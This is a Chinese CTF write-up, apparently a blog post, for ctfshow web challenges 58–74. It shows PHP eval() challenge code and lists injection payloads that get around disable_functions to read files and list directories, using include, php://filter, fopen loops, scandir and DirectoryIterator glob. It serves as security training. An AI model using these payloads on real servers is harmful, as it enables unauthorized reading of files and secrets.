0%

ctfshow命令执行绕过disable_functions

ctfshow命令执行绕过disable_functions

船新版本,绕过禁用函数。

web58-65

题目:

1
2
3
4
5
6
7
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

解答:

绕过disable_function,那我们先看一下phpinfo() ,然后发现被禁了???那还绕什么,关闭浏览器

整理一下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
//高亮显示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
//单一函数读文件内容:
echo file_get_contents("flag.php");
readfile("flag.php");
print_r(file("flag.php"));
//文件包含绕过:
post:c=include($_GET[1]);
get:?1=php://filter/convert.base64-encode/resource=flag.php

再贴出羽师傅的一些其他操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a); //过59
$a=fopen("flag.php","r");echo fread($a,"1000"); //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} //过60
1
2
3
4
5
6
flag不在flag.php中,需要先查找flag所在的位置
scandir()
opendir()
用法
c=var_dump(scandir("/"));highlight_file("/flag.txt"); //过66-67
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };highlight_file("/flag.txt"); //过66-67
1
2
3
4
5
6
后面因为是txt文件,所以直接用include直接包含就能显示flag
include()
require()
用法:
include("/flag.txt"); //过66-70
require("/flag.txt"); //过66-70

参考链接:

https://blog.csdn.net/miuzzx/article/details/108619930?spm=1001.2014.3001.5501

web66-67

1、题目:

同上。

2、解答:

没变,但是flag不在当前文件夹下了。需要扫目录:

payload:

1
2
c=var_dump(scandir("/"));
c=print_r(scandir("/"));

扫出目录后highlight_file()即可

web68-70

题目:

ban了highlight_file()

解答:

试试include(‘/flag.php’) 发现太大出不来。考虑到flag应该在根目录下的flag.txt里,于是直接用包含做。

payload:

1
2
3
4
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=include_once('/flag.txt');

扩展:扫目录函数被ban完了。记录下Y4的扫目录操作:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

web71

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

解答:

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

官方介绍:

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

利用exit,停止后面的程序

payload:

1
c=require("/flag.txt");exit();

web72(不会)

不会,之后学

web73、74

文件不再是flag.txt了,需要自己扫,但是扫的东西ban了一大半。

解答:

通过glob遍历目录:

payload:

1
2
3
4
5
6
7
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

扫出来一回正常文件包含梭了。

能做的题都在这了,之后会总结一下命令执行的操作和姿势。

参考链接:

https://www.cnblogs.com/NPFS/p/13797436.html

https://blog.csdn.net/solitudi/article/details/109837640?spm=1001.2014.3001.5501

https://blog.csdn.net/miuzzx/article/details/108619930?spm=1001.2014.3001.5501

-------------本文结束感谢您的阅读-------------